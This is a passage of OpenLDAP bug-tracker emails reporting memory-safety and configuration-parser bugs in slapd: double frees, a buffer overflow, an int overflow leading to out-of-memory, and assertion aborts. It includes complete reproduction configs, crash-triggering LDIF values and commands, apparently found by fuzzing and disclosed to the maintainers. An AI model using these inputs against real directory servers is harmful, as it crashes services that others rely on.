https://bugs.openldap.org/show_bug.cgi?id=10663
Issue ID: 10663
Summary: syncprov: double free of sync controls since ITS#10473
Product: OpenLDAP
Version: unspecified
Hardware: All
OS: All
Status: UNCONFIRMED
Keywords: needs_review
Severity: normal
Priority: ---
Component: overlays
Assignee: bugs(a)openldap.org
Reporter: hamano(a)osstech.co.jp
Target Milestone: ---
The fix for this ticket (RE26: 7d9b599982, master: 87197f91fc) causes the sync
state controls to be freed twice in OpenLDAP 2.6.14 and later, and in master.
## Details
Three of the four callers of `syncprov_state_ctrl()` / `syncprov_done_ctrl()`
have set `REP_CTRLS_MUSTBEFREED` since ITS#6795 and ITS#7292, so the frontend
(`send_ldap_response()` / `slap_send_search_entry()` /
`slap_send_search_reference()`) already frees each control individually with
`slap_free_ctrls()` after `slap_cleanup_play()`.
With this fix, the control lives in the same allocation as a `slap_callback`.
After `slap_freeself_cb` has freed the callback (and the control with it),
`slap_free_ctrls()` passes a pointer into the middle of the freed callback
(`&cb[1]`) to `o_tmpfree()` again.
The only leak in the original report is the `no_change:` path, which uses a
controls array on the stack and does not set `REP_CTRLS_MUSTBEFREED`.
Also, `slap_add_ctrls()` copies the pointers of an existing `sr_ctrls` into a
new array and sets `REP_CTRLS_MUSTBEFREED`, so `slap_free_ctrls()` relies on
each control being allocated on its own. Embedding the control in a callback
is not compatible with that.
## Impact
When the allocation did not fit in the slab and fell back to `ber_memalloc_x()`
(for example a long replay of a persistent search, or a refresh of large
entries), or when `o_tmpmemctx` is NULL, the interior pointer reaches libc
`free()` and the provider slapd aborts with `free(): invalid pointer`.
## Proposed fix
1. Revert this fix (87197f91fc / 7d9b599982) so that the control is allocated
on its own again, as before.
2. In the `no_change:` path, free the control after `send_ldap_result()`.
--
You are receiving this mail because:
You are on the CC list for the issue.
https://bugs.openldap.org/show_bug.cgi?id=10772
Issue ID: 10772
Summary: back-ldap's ldap_back_monitor_conn_create doesn't
protect connections it walks over
Product: OpenLDAP
Version: unspecified
Hardware: All
OS: All
Status: UNCONFIRMED
Keywords: needs_review
Severity: normal
Priority: ---
Component: backends
Assignee: bugs(a)openldap.org
Reporter: ondra(a)mistotebe.net
Target Milestone: ---
See title, if connections are created and destroyed while it's looping, it
could end up using a stale pointer leading to crashes.
--
You are receiving this mail because:
You are on the CC list for the issue.
https://bugs.openldap.org/show_bug.cgi?id=10771
Issue ID: 10771
Summary: Config handlers mis-parse or mis-emit values - LOW
Product: OpenLDAP
Version: 2.6.16
Hardware: All
OS: All
Status: UNCONFIRMED
Keywords: needs_review
Severity: normal
Priority: ---
Component: slapd
Assignee: bugs(a)openldap.org
Reporter: jcc(a)security.souspilot.com
Target Milestone: ---
Overview:
These are configuration handler bugs: dynlist's emit routine overflows
cr_msg[256], accesslog always emits olcAccessLogPurgeBatch as 0, librewrite's
substitution length overflows an int, a failing olcAuthzRegexp value is freed
twice, and a rejected rwm-rewriteMap stays registered and later asserts. The
fix direction is bounds and error-path checks in each config handler. The
highest outcome is a slapd crash when configuration is loaded or regenerated.
This report groups 5 related issues, listed below with their own reproduction
steps and results. They were found together and are reported as one batch at
the maintainers' request.
Issues in this report:
1. "slapo-accesslog: olcAccessLogPurgeBatch always emitted as 0" (Low)
2. "slapo-dynlist: config emit overflows cr_msg[256], slapd SEGV" (Low)
3. "librewrite: rewrite_subst_apply length overflows int, OOM" (Hardening
suggestion)
4. "slapd: double free on failing olcAuthzRegexp value" (Hardening suggestion)
5. "slapo-rwm: rejected rwm-rewriteMap is kept, later assert" (Hardening
suggestion)
==============================================================================
Issue 1 of 5: "slapo-accesslog: olcAccessLogPurgeBatch always emitted as 0"
(Low)
==============================================================================
Overview:
In the 2.7 accesslog overlay, the configuration-emit case for logpurgebatch
(olcAccessLogPurgeBatch) in log_cf_gen() sits after the closing brace of the
inner "switch (c->type)", that is, in the outer "switch (c->op)". The emit
never matches, so the handler returns the value 0.
Converting a slapd.conf that sets logpurgebatch to cn=config (or any
regeneration of the configuration) therefore writes olcAccessLogPurgeBatch: 0
and silently disables purge batching. It affects administrators only and has
no security impact; values set over LDAP in cn=config are stored as given.
Steps to Reproduce:
1) Write a slapd.conf for 2.7.2 with an accesslog overlay and "logpurgebatch
accesslog-logpurgebatch-slapd.conf. Its relevant part:
database mdb
suffix "dc=example,dc=org"
rootdn "cn=admin,dc=example,dc=org"
rootpw admin
directory /tmp/repro/db
overlay accesslog
logdb cn=log
logops writes reads
logsuccess FALSE
logpurge 00+00:01 00+00:01
logpurgebatch 1
2) Convert it and read the generated value:
mkdir -p /tmp/repro/db /tmp/repro/log /tmp/repro/slapd.d
slaptest -f /tmp/repro/slapd.conf -F /tmp/repro/slapd.d
grep -r olcAccessLogPurgeBatch /tmp/repro/slapd.d
Actual Results:
The script that produced this result was not kept; the configuration is the
one used.
Expected Results:
The emitted value equals the configured one.
Build Date & Hardware:
OpenLDAP 2.7.2 (release tag, built from source), Linux aarch64, Ubuntu 24.04
userland, glibc 2.39.
Additional Builds and Platforms:
- master: the same code, by reading (added by a6be90c6c3, ITS#10465).
- 2.6.16: not applicable (the setting is new in 2.7).
- Alpine/musl, x86-64: not tested.
Additional Information:
Not a crash; a functional defect.
Root cause: servers/slapd/overlays/accesslog.c, log_cf_gen(), SLAP_CONFIG_EMIT
branch (line 869 in 2.7.2): "case LOG_YIELD_FACTOR:" (line 940) is placed
after the inner switch closes.
No fix was built or tested. Suggested direction (untested): move the case
inside the inner switch, before its closing brace. Not independently
reproduced.
==============================================================================
Issue 2 of 5: "slapo-dynlist: config emit overflows cr_msg[256], slapd SEGV"
(Low)
==============================================================================
Overview:
dl_cfgen() in servers/slapd/overlays/dynlist.c (lines 2194-2243, source
comment "FIXME: check buffer overflow!") composes the olcDynListAttrSet value
in ConfigArgs.cr_msg[256] with no bound: class name, optional URI, attribute
and any number of mappings. A valid dynlist-attrset line of about 290 bytes
overflows the buffer when cn=config is built from slapd.conf, and slaptest or
slapd dies with SIGSEGV. Only the administrator's own slapd.conf reaches it
(slapd.conf to slapd.d conversion, or slapd -f); by reading, a cn=config
writer cannot reach the emit path at run time.
Steps to Reproduce:
1. Run this shell script (N is the length of the DN part: 150, 300 or 2000;
adjust the schema path and the moduleload lines to the build):
N=150; L=$(printf "x%.0s" $(seq 1 $N)); mkdir -p /tmp/db /tmp/cfg
cat > /tmp/slapd.conf <<EOC
include /usr/local/etc/openldap/schema/core.schema
include /usr/local/etc/openldap/schema/cosine.schema
include /usr/local/etc/openldap/schema/inetorgperson.schema
include /usr/local/etc/openldap/schema/dyngroup.schema
moduleload back_mdb.so
moduleload dynlist.so
database config
rootdn cn=admin,cn=config
rootpw config
database mdb
suffix dc=example,dc=org
rootdn cn=admin,dc=example,dc=org
rootpw admin
directory /tmp/db
overlay dynlist
dynlist-attrset groupOfURLs
"ldap:///ou=$L,dc=example,dc=org??sub?(objectClass=groupOfURLs)" memberURL
member+memberOf@groupOfNames* uniqueMember+seeAlso@groupOfUniqueNames
EOC
slaptest -u -f /tmp/slapd.conf; echo "parse only: rc=$?"
slaptest -f /tmp/slapd.conf -F /tmp/cfg; echo "build cn=config: rc=$?"
slapd -f /tmp/slapd.conf -h ldap://127.0.0.1:3389/ -d 0; echo "slapd:
rc=$?"
A proof-of-concept script is available and can be provided on request.
Actual Results:
"slaptest -f -F" and "slapd -f slapd.conf" die with SIGSEGV (exit 139) on
release 2.6.16 and on release 2.7.2 for a DN part of 150 and of 300 bytes,
while "slaptest -u" accepts the same file; with 2,000 bytes the line is
rejected by the configuration reader ("bad configuration file") before the
emit. So 2 of 3 lengths crash on each build, one run each. On the 2.6.16
sanitizer build the same 2 of 3 lengths end with exit 134: the report is a
wild pointer read in value_add_one().
Expected Results:
The value should be emitted in full (or the directive rejected with a message
if it is too long); no memory outside cr_msg should be written.
Build Date & Hardware:
OpenLDAP 2.6.16 (release tag, built from source), Linux arm64 (aarch64),
Ubuntu 24.04 userland, glibc 2.39. OpenLDAP 2.7.2 (release tag, same
platform): same SIGSEGV.
Additional Builds and Platforms:
OpenLDAP 2.6.16 and 2.7.2 (release tags, built from source, Linux arm64), and
a 2.6.16 AddressSanitizer build. master: same code by reading, not run. 2.5.x,
distribution packages, Alpine/musl and x86-64: not tested.
Additional Information:
Crash type: SIGSEGV after an out-of-bounds write past ConfigArgs.cr_msg[256]
in dl_cfgen(), servers/slapd/overlays/dynlist.c:2194-2243 (emit branch),
CWE-120 / CWE-787.
That the emit code is not reachable through a run-time cn=config modification
is from reading the callers of config_build_entry(), not from a test.
No fix was built. Suggested direction (untested): bound the composition in
dl_cfgen() (check the remaining space before each append and fail the emit
when it does not fit), or build the value in a dynamically sized buffer.
Limit: observed by one tester (one run per build and length), not verified
independently.
Impact: A local robustness defect, not a remotely reachable one: the input is
the administrator's own configuration file, so whoever can trigger it can
already change the server's configuration. The effect seen is a crash of
slaptest or of slapd at start-up when a long but valid dynlist-attrset line is
converted to cn=config.
==============================================================================
Issue 3 of 5: "librewrite: rewrite_subst_apply length overflows int, OOM"
(Hardening suggestion)
==============================================================================
Overview:
This is a hardening suggestion for a privileged configuration writer: it
starts from write access to olcRwmRewrite of a slapo-rwm overlay in cn=config,
which the documentation already treats as a privileged right. The writer in
the test was an ordinary directory user delegated write access to that one
attribute (not a rootdn); the config rootdn has the same effect, and so has an
honest mistake by the administrator. rewrite_subst_apply()
(libraries/librewrite/subst.c) sums the lengths of the substitution parts in
an int ("int n = 0, l, cl;"). A rule without a terminating flag is re-applied
up to max-passes; the substitution "%1%0%0%1" quadruples the string on each
pass, so the length overflows and malloc(l + 1) is called with a wrapped size.
The rule is accepted and stored. One anonymous search whose base is under the
rewritten suffix then makes slapd allocate gigabytes until it is killed. The
anonymous client chooses the input length.
Steps to Reproduce:
1. The config ACLs let the ordinary user uid=deleg write only olcAuthzRegexp
on cn=config, olcAccess of the mdb database and olcRwmRewrite of the rwm
overlay; the config rootdn (cn=config / config) can be used in place of
uid=deleg with the same result:
include /etc/ldap/schema/core.schema
include /etc/ldap/schema/cosine.schema
include /etc/ldap/schema/inetorgperson.schema
modulepath /usr/lib/ldap
moduleload back_mdb
moduleload back_relay
moduleload rwm
pidfile /tmp/repro/slapd.pid
authz-regexp "^uid=([^,]*),cn=[^,]*,cn=auth$"
"uid=$1,ou=people,dc=example,dc=org"
password-hash {CLEARTEXT}
database mdb
suffix "dc=example,dc=org"
rootdn "cn=admin,dc=example,dc=org"
rootpw admin
directory /tmp/repro/data
maxsize 268435456
access to attrs=userPassword by self write by anonymous auth by * none
access to * by * read
database relay
suffix "dc=relay"
relay "dc=example,dc=org"
overlay rwm
rwm-suffixmassage "dc=relay" "dc=example,dc=org"
access to * by * read
database config
rootdn "cn=config"
rootpw config
access to dn.base="cn=config" attrs=olcAuthzRegexp by
dn.exact="uid=deleg,ou=people,dc=example,dc=org" write by * break
access to dn.base="cn=config" attrs=entry,objectClass by
dn.exact="uid=deleg,ou=people,dc=example,dc=org" read by * break
access to dn.base="olcDatabase={1}mdb,cn=config" attrs=olcAccess by
dn.exact="uid=deleg,ou=people,dc=example,dc=org" write by * break
access to dn.base="olcDatabase={1}mdb,cn=config" attrs=entry,objectClass by
dn.exact="uid=deleg,ou=people,dc=example,dc=org" read by * break
access to dn.base="olcOverlay={0}rwm,olcDatabase={2}relay,cn=config"
attrs=olcRwmRewrite,entry,objectClass by
dn.exact="uid=deleg,ou=people,dc=example,dc=org" write by * break
access to * by * none
2. Data /tmp/repro/data.ldif:
dn: dc=example,dc=org
objectClass: dcObject
objectClass: organization
o: Example
dc: example
dn: ou=people,dc=example,dc=org
objectClass: organizationalUnit
ou: people
dn: uid=deleg,ou=people,dc=example,dc=org
objectClass: inetOrgPerson
uid: deleg
cn: deleg
sn: deleg
userPassword: deleg
dn: uid=alice,ou=people,dc=example,dc=org
objectClass: inetOrgPerson
uid: alice
cn: alice
sn: alice
mail: alice(a)example.org
userPassword: alice
3. Convert, load and start slapd in the foreground, so that its exit status
and stderr are visible:
mkdir -p /tmp/repro/slapd.d /tmp/repro/data
slaptest -f /tmp/repro/slapd.conf -F /tmp/repro/slapd.d
slapadd -F /tmp/repro/slapd.d -b dc=example,dc=org -l /tmp/repro/data.ldif
slapd -h ldap://127.0.0.1:1389 -F /tmp/repro/slapd.d -d stats
Control: as uid=deleg a replace of olcLogLevel on cn=config and a replace of
olcRootPW on olcDatabase={1}mdb,cn=config both return 50 (insufficient
access); uid=deleg is not a rootdn.
4. As uid=deleg store the rule (file /tmp/repro/rewrite-growth.ldif, supplied
as rwm-self-growing-rule.ldif):
dn: olcOverlay={0}rwm,olcDatabase={2}relay,cn=config
changetype: modify
add: olcRwmRewrite
olcRwmRewrite: rwm-rewriteRule "(.*)" "%1%0%0%1" ""
ldapmodify -x -H ldap://127.0.0.1:1389 -D
uid=deleg,ou=people,dc=example,dc=org -w deleg -f
/tmp/repro/rewrite-growth.ldif
5. Run slapd under a memory limit (the test used a 1 GiB limit, for example a
memory cgroup) and send one search without binding:
ldapsearch -x -H ldap://127.0.0.1:1389 -b dc=relay -s base -LLL 1.1
A proof-of-concept script is available and can be provided on request.
Actual Results:
Release builds of 2.6.16 and 2.7.2: the modify returns 0. After the one
anonymous search slapd is killed by the kernel OOM killer when it reaches the
1 GiB limit, about 1 second after the request (exit status 137; ldapsearch
exit 255). In an earlier test with a 6 GB limit slapd was also OOM-killed
(multi-gigabyte growth for one request).
Expected Results:
librewrite should compute the length in size_t with overflow checks and cap
the length of a rewritten string; a rule that grows without bound should end
with an error for the operation.
Build Date & Hardware:
OpenLDAP 2.6.16 (release tag OPENLDAP_REL_ENG_2_6_16, built from source),
Linux arm64 (aarch64), Ubuntu 24.04 userland, glibc 2.39; also a 2.6.16
sanitizer build (ASan, -DSLAP_NO_SL_MALLOC) on the same platform.
Additional Builds and Platforms:
2.7.2 release build (arm64): same result (OOM-killed at a 1 GiB limit in 1 s).
Ubuntu 24.04 slapd package 2.6.10: reproduces with the same steps. master:
"int n = 0, l, cl;" is still in subst.c by reading; not run. 2.5.20,
Alpine/musl and x86-64: not tested.
Additional Information:
Failure type: uncontrolled allocation ending in an OOM kill (SIGKILL); root
cause the int length in rewrite_subst_apply(), subst.c.
The rule is stored (result 0), so by reading it also survives a restart; the
restart was not tested for this value.
A wrap to a small positive size, which would make the following copy a heap
buffer overflow, looks reachable because the anonymous client chooses the
input length. This is speculation: it was not demonstrated and not attempted.
No fix was built or tested. Direction (untested): size_t lengths with overflow
checks and a cap on the rewritten length in rewrite_subst_apply().
Six other values that crash or hang slapd when written to cn=config were found
by the same fuzzing of the configuration parsers, each reported separately:
"slapd: acl_string_expand reads out of bounds on huge ${N}"; "slapd:
slap_set_filter crashes on set="((this" in an ACL"; "slapd: double free on
failing olcAuthzRegexp value"; "slapd: parse_acl loops forever on "$x" in an
expand clause"; "slapo-rwm: rejected rwm-rewriteMap is kept, later assert";
"slapd: parse_acl double free on "by * break break"".
==============================================================================
Issue 4 of 5: "slapd: double free on failing olcAuthzRegexp value" (Hardening
suggestion)
==============================================================================
Overview:
This is a hardening suggestion for a privileged configuration writer: it
starts from write access to olcAuthzRegexp on cn=config in cn=config, which
the documentation already treats as a privileged right. The writer in the test
was an ordinary directory user delegated write access to that one attribute
(not a rootdn); the config rootdn has the same effect, and so has an honest
mistake by the administrator. When an olcAuthzRegexp value does not compile,
slap_sasl_regexp_rewrite_config() deletes the rewrite_info but the caller's
pointer still refers to it and slap_sasl_regexp_config()
(servers/slapd/saslauthz.c) deletes it a second time. The same error path also
leaves librewrite's global rewrite_int_curr_context
(libraries/librewrite/config.c) pointing into the freed rewrite_info, so the
next rwm-rewriteRule without an explicit context is appended to freed memory.
This report covers the double free; the dangling context is the same error
path and is described as its second form.
Steps to Reproduce:
1. The config ACLs let the ordinary user uid=deleg write only olcAuthzRegexp
on cn=config, olcAccess of the mdb database and olcRwmRewrite of the rwm
overlay; the config rootdn (cn=config / config) can be used in place of
uid=deleg with the same result:
include /etc/ldap/schema/core.schema
include /etc/ldap/schema/cosine.schema
include /etc/ldap/schema/inetorgperson.schema
modulepath /usr/lib/ldap
moduleload back_mdb
moduleload back_relay
moduleload rwm
pidfile /tmp/repro/slapd.pid
authz-regexp "^uid=([^,]*),cn=[^,]*,cn=auth$"
"uid=$1,ou=people,dc=example,dc=org"
password-hash {CLEARTEXT}
database mdb
suffix "dc=example,dc=org"
rootdn "cn=admin,dc=example,dc=org"
rootpw admin
directory /tmp/repro/data
maxsize 268435456
access to attrs=userPassword by self write by anonymous auth by * none
access to * by * read
database relay
suffix "dc=relay"
relay "dc=example,dc=org"
overlay rwm
rwm-suffixmassage "dc=relay" "dc=example,dc=org"
access to * by * read
database config
rootdn "cn=config"
rootpw config
access to dn.base="cn=config" attrs=olcAuthzRegexp by
dn.exact="uid=deleg,ou=people,dc=example,dc=org" write by * break
access to dn.base="cn=config" attrs=entry,objectClass by
dn.exact="uid=deleg,ou=people,dc=example,dc=org" read by * break
access to dn.base="olcDatabase={1}mdb,cn=config" attrs=olcAccess by
dn.exact="uid=deleg,ou=people,dc=example,dc=org" write by * break
access to dn.base="olcDatabase={1}mdb,cn=config" attrs=entry,objectClass by
dn.exact="uid=deleg,ou=people,dc=example,dc=org" read by * break
access to dn.base="olcOverlay={0}rwm,olcDatabase={2}relay,cn=config"
attrs=olcRwmRewrite,entry,objectClass by
dn.exact="uid=deleg,ou=people,dc=example,dc=org" write by * break
access to * by * none
2. Data /tmp/repro/data.ldif:
dn: dc=example,dc=org
objectClass: dcObject
objectClass: organization
o: Example
dc: example
dn: ou=people,dc=example,dc=org
objectClass: organizationalUnit
ou: people
dn: uid=deleg,ou=people,dc=example,dc=org
objectClass: inetOrgPerson
uid: deleg
cn: deleg
sn: deleg
userPassword: deleg
dn: uid=alice,ou=people,dc=example,dc=org
objectClass: inetOrgPerson
uid: alice
cn: alice
sn: alice
mail: alice(a)example.org
userPassword: alice
3. Convert, load and start slapd in the foreground, so that its exit status
and stderr are visible:
mkdir -p /tmp/repro/slapd.d /tmp/repro/data
slaptest -f /tmp/repro/slapd.conf -F /tmp/repro/slapd.d
slapadd -F /tmp/repro/slapd.d -b dc=example,dc=org -l /tmp/repro/data.ldif
slapd -h ldap://127.0.0.1:1389 -F /tmp/repro/slapd.d -d stats
Control: as uid=deleg a replace of olcLogLevel on cn=config and a replace of
olcRootPW on olcDatabase={1}mdb,cn=config both return 50 (insufficient
access); uid=deleg is not a rootdn. 4. Form (a), fresh slapd.
dn: cn=config
changetype: modify
add: olcAuthzRegexp
olcAuthzRegexp: "[" "x"
ldapmodify -x -H ldap://127.0.0.1:1389 -D
uid=deleg,ou=people,dc=example,dc=org -w deleg -f /tmp/repro/authz-a.ldif
5. Form (b), fresh slapd. Insert the same value at the front, then add an
ordinary, valid rewrite rule (files /tmp/repro/authz-b1.ldif and
/tmp/repro/authz-b2.ldif):
dn: cn=config
changetype: modify
add: olcAuthzRegexp
olcAuthzRegexp: {0}"[" "x"
dn: olcOverlay={0}rwm,olcDatabase={2}relay,cn=config
changetype: modify
add: olcRwmRewrite
olcRwmRewrite: rwm-rewriteRule "(.*)" "%1"
ldapmodify -x -H ldap://127.0.0.1:1389 -D
uid=deleg,ou=people,dc=example,dc=org -w deleg -f /tmp/repro/authz-b1.ldif
ldapmodify -x -H ldap://127.0.0.1:1389 -D
uid=deleg,ou=people,dc=example,dc=org -w deleg -f /tmp/repro/authz-b2.ldif
A proof-of-concept script is available and can be provided on request.
Actual Results:
Release builds of 2.6.16 and 2.7.2. Form (a): the client loses its connection
(exit 255) and slapd exits with SIGSEGV (exit status 139). Form (b): the first
modify is rejected with result 80 and slapd keeps running; the second modify
makes slapd abort (exit status 134) with
rule.c:37: append_rule: Assertion `context->lc_rule != NULL' failed.
An earlier run of the same steps recorded a glibc heap-corruption abort at
that step instead. The failing value is not stored, so a restart recovers the
server.
Expected Results:
A value that does not compile should be rejected with an error and leave no
freed pointer behind: the caller's pointer should be cleared when the callee
frees it, and rewrite_int_curr_context should be reset whenever a rewrite_info
is destroyed.
Build Date & Hardware:
OpenLDAP 2.6.16 (release tag OPENLDAP_REL_ENG_2_6_16, built from source),
Linux arm64 (aarch64), Ubuntu 24.04 userland, glibc 2.39; also a 2.6.16
sanitizer build (ASan, -DSLAP_NO_SL_MALLOC) on the same platform.
Additional Builds and Platforms:
2.7.2 release build (arm64): same results (SIGSEGV, abort). Ubuntu 24.04 slapd
package 2.6.10: reproduces with the same steps. master: the code is the same
by reading; not run. 2.5.20, Alpine/musl and x86-64: not tested.
Additional Information:
Crash type: SIGSEGV (double free of the rewrite_info in
slap_sasl_regexp_config(), saslauthz.c) and, for the second form, SIGABRT in
librewrite (rule.c:37) or a glibc heap-corruption abort, depending on what
reused the freed memory. Denial of service only was shown; whether the use of
freed memory can be steered was not examined.
No fix was built or tested. Direction (untested): clear the caller's pointer
when slap_sasl_regexp_rewrite_config() frees the rewrite_info, and reset
rewrite_int_curr_context in rewrite_info_delete().
Every failing olcAuthzRegexp value crashed the server during the fuzzing, so
the attribute was excluded from further fuzzing.
Six other values that crash or hang slapd when written to cn=config were found
by the same fuzzing of the configuration parsers, each reported separately:
"slapd: acl_string_expand reads out of bounds on huge ${N}"; "slapd:
slap_set_filter crashes on set="((this" in an ACL"; "librewrite:
rewrite_subst_apply length overflows int, OOM"; "slapd: parse_acl loops
forever on "$x" in an expand clause"; "slapo-rwm: rejected rwm-rewriteMap is
kept, later assert"; "slapd: parse_acl double free on "by * break break"".
==============================================================================
Issue 5 of 5: "slapo-rwm: rejected rwm-rewriteMap is kept, later assert"
(Hardening suggestion)
==============================================================================
Overview:
This is a hardening suggestion for a privileged configuration writer: it
starts from write access to olcRwmRewrite of a slapo-rwm overlay in cn=config,
which the documentation already treats as a privileged right. The writer in
the test was an ordinary directory user delegated write access to that one
attribute (not a rootdn); the config rootdn has the same effect, and so has an
honest mistake by the administrator. A rewriteMap directive whose arguments
the map's own parser rejects (the map's config function returns NULL) is still
inserted by librewrite with a NULL private pointer, and the modify returns
success. When the rule set is next rebuilt, by deleting or replacing any
olcRwmRewrite value, the map's destroy callback asserts that the private
pointer is not NULL and slapd aborts. The invalid value stays stored in
cn=config.
Steps to Reproduce:
1. The config ACLs let the ordinary user uid=deleg write only olcAuthzRegexp
on cn=config, olcAccess of the mdb database and olcRwmRewrite of the rwm
overlay; the config rootdn (cn=config / config) can be used in place of
uid=deleg with the same result:
include /etc/ldap/schema/core.schema
include /etc/ldap/schema/cosine.schema
include /etc/ldap/schema/inetorgperson.schema
modulepath /usr/lib/ldap
moduleload back_mdb
moduleload back_relay
moduleload rwm
pidfile /tmp/repro/slapd.pid
authz-regexp "^uid=([^,]*),cn=[^,]*,cn=auth$"
"uid=$1,ou=people,dc=example,dc=org"
password-hash {CLEARTEXT}
database mdb
suffix "dc=example,dc=org"
rootdn "cn=admin,dc=example,dc=org"
rootpw admin
directory /tmp/repro/data
maxsize 268435456
access to attrs=userPassword by self write by anonymous auth by * none
access to * by * read
database relay
suffix "dc=relay"
relay "dc=example,dc=org"
overlay rwm
rwm-suffixmassage "dc=relay" "dc=example,dc=org"
access to * by * read
database config
rootdn "cn=config"
rootpw config
access to dn.base="cn=config" attrs=olcAuthzRegexp by
dn.exact="uid=deleg,ou=people,dc=example,dc=org" write by * break
access to dn.base="cn=config" attrs=entry,objectClass by
dn.exact="uid=deleg,ou=people,dc=example,dc=org" read by * break
access to dn.base="olcDatabase={1}mdb,cn=config" attrs=olcAccess by
dn.exact="uid=deleg,ou=people,dc=example,dc=org" write by * break
access to dn.base="olcDatabase={1}mdb,cn=config" attrs=entry,objectClass by
dn.exact="uid=deleg,ou=people,dc=example,dc=org" read by * break
access to dn.base="olcOverlay={0}rwm,olcDatabase={2}relay,cn=config"
attrs=olcRwmRewrite,entry,objectClass by
dn.exact="uid=deleg,ou=people,dc=example,dc=org" write by * break
access to * by * none
2. Data /tmp/repro/data.ldif:
dn: dc=example,dc=org
objectClass: dcObject
objectClass: organization
o: Example
dc: example
dn: ou=people,dc=example,dc=org
objectClass: organizationalUnit
ou: people
dn: uid=deleg,ou=people,dc=example,dc=org
objectClass: inetOrgPerson
uid: deleg
cn: deleg
sn: deleg
userPassword: deleg
dn: uid=alice,ou=people,dc=example,dc=org
objectClass: inetOrgPerson
uid: alice
cn: alice
sn: alice
mail: alice(a)example.org
userPassword: alice
3. Convert, load and start slapd in the foreground, so that its exit status
and stderr are visible:
mkdir -p /tmp/repro/slapd.d /tmp/repro/data
slaptest -f /tmp/repro/slapd.conf -F /tmp/repro/slapd.d
slapadd -F /tmp/repro/slapd.d -b dc=example,dc=org -l /tmp/repro/data.ldif
slapd -h ldap://127.0.0.1:1389 -F /tmp/repro/slapd.d -d stats
Control: as uid=deleg a replace of olcLogLevel on cn=config and a replace of
olcRootPW on olcDatabase={1}mdb,cn=config both return 50 (insufficient
access); uid=deleg is not a rootdn.
4. As uid=deleg add an invalid map (file /tmp/repro/rwmmap-add.ldif, supplied
as rwm-invalid-map-add.ldif):
dn: olcOverlay={0}rwm,olcDatabase={2}relay,cn=config
changetype: modify
add: olcRwmRewrite
olcRwmRewrite: rwm-rewriteMap escape m x
ldapmodify -x -H ldap://127.0.0.1:1389 -D
uid=deleg,ou=people,dc=example,dc=org -w deleg -f /tmp/repro/rwmmap-add.ldif
5.
dn: olcOverlay={0}rwm,olcDatabase={2}relay,cn=config
changetype: modify
delete: olcRwmRewrite
olcRwmRewrite: {1}
ldapmodify -x -H ldap://127.0.0.1:1389 -D
uid=deleg,ou=people,dc=example,dc=org -w deleg -f /tmp/repro/rwmmap-delete.ldif
6. Start slapd again and read the overlay entry as the config rootdn:
ldapsearch -x -H ldap://127.0.0.1:1389 -D cn=config -w config -b
'olcOverlay={0}rwm,olcDatabase={2}relay,cn=config' -s base -LLL olcRwmRewrite
A proof-of-concept script is available and can be provided on request.
Actual Results:
Release builds of 2.6.16 and 2.7.2: step 4 returns 0 (accepted). Step 5 makes
slapd abort (exit status 134; client exit 255) with
escapemap.c:217: map_escape_destroy: Assertion `private != NULL' failed.
After the restart slapd answers and the invalid map is still stored (1 value).
An earlier run also recorded the assertion at sasl.c:1219 (slapd_rw_destroy)
for map type "slapd"; for map type "ldap" with bad arguments ldapmap.c:444 has
the same kind of assertion (by reading).
Expected Results:
The rewriteMap directive should fail when the map's config function returns
NULL, nothing should be stored, and the destroy callbacks should tolerate a
NULL private pointer.
Build Date & Hardware:
OpenLDAP 2.6.16 (release tag OPENLDAP_REL_ENG_2_6_16, built from source),
Linux arm64 (aarch64), Ubuntu 24.04 userland, glibc 2.39.
Additional Builds and Platforms:
2.7.2 release build (arm64): same result (abort). Ubuntu 24.04 slapd package
2.6.10: reproduces with the same steps. master: same code by reading; not run.
2.5.20, Alpine/musl and x86-64: not tested.
Additional Information:
Crash type: assertion abort (SIGABRT) in map_escape_destroy(),
libraries/librewrite/escapemap.c:217; assertions are compiled into release
builds.
ITS#7390 (2012) touched slapd_rw_destroy but only removed a free; it is
unrelated.
No fix was built or tested. Direction (untested): make the rewriteMap
directive fail when the map's config function returns NULL.
Six other values that crash or hang slapd when written to cn=config were found
by the same fuzzing of the configuration parsers, each reported separately:
"slapd: acl_string_expand reads out of bounds on huge ${N}"; "slapd:
slap_set_filter crashes on set="((this" in an ACL"; "librewrite:
rewrite_subst_apply length overflows int, OOM"; "slapd: double free on failing
olcAuthzRegexp value"; "slapd: parse_acl loops forever on "$x" in an expand
clause"; "slapd: parse_acl double free on "by * break break"".
Credit: when a CVE is assigned for this issue, please credit Joao Charles
Carvalho.
--
You are receiving this mail because:
You are on the CC list for the issue.
https://bugs.openldap.org/show_bug.cgi?id=10770
Issue ID: 10770
Summary: ACL configuration parsing crashes and loops - LOW
Product: OpenLDAP
Version: 2.6.16
Hardware: All
OS: All
Status: UNCONFIRMED
Keywords: needs_review
Severity: normal
Priority: ---
Component: slapd
Assignee: bugs(a)openldap.org
Reporter: jcc(a)security.souspilot.com
Target Milestone: ---
Overview:
These are in slapd's ACL parsing and expansion (acl.c, aclparse.c, sets.c): a
long ACL regex overflows a stack buffer by one byte, $n is expanded into
dn.regex patterns unescaped, a huge ${N} reads out of bounds, set="((this"
crashes, "$x" loops forever and "by * break break" double frees. Most need an
administrator-supplied ACL. The fix direction is strict validation of ACL
syntax and bounded expansion. The highest outcome is a slapd crash or hang
from a stored ACL value.
This report groups 6 related issues, listed below with their own reproduction
steps and results. They were found together and are reported as one batch at
the maintainers' request.
Issues in this report:
1. "slapd: regtest() 1-byte stack overflow on a long ACL regex" (Low)
2. "slapd ACL: $n expanded into dn.regex pattern unescaped" (Low)
3. "slapd: acl_string_expand reads out of bounds on huge ${N}" (Hardening
suggestion)
4. "slapd: slap_set_filter crashes on set="((this" in an ACL" (Hardening
suggestion)
5. "slapd: parse_acl loops forever on "$x" in an expand clause" (Hardening
suggestion)
6. "slapd: parse_acl double free on "by * break break"" (Hardening suggestion)
==============================================================================
Issue 1 of 6: "slapd: regtest() 1-byte stack overflow on a long ACL regex"
(Low)
==============================================================================
Overview:
regtest() in servers/slapd/aclparse.c copies a by-clause regular expression
into char buf[SLAP_TEXT_BUFLEN] (256 bytes). The copy loop can fill all 256
bytes and "*dp = '\0'" then writes buf[256], one NUL byte past the buffer; the
"regular expression too large" check runs after that write. It is reached by a
writer of olcAccess in cn=config or by a slapd.conf line, with any by-clause
".regex" / ".expand" pattern of 256 bytes or more. The value is rejected. No
effect on a release build was observed (see Actual Results).
Steps to Reproduce:
Route 1, slaptest on a slapd.conf (no server needed): 1. The by-clause pattern
is 300 times the letter "a":
include /etc/ldap/schema/core.schema
modulepath /usr/lib/ldap
moduleload back_mdb
database mdb
suffix "dc=example,dc=org"
directory /tmp/db
access to * by
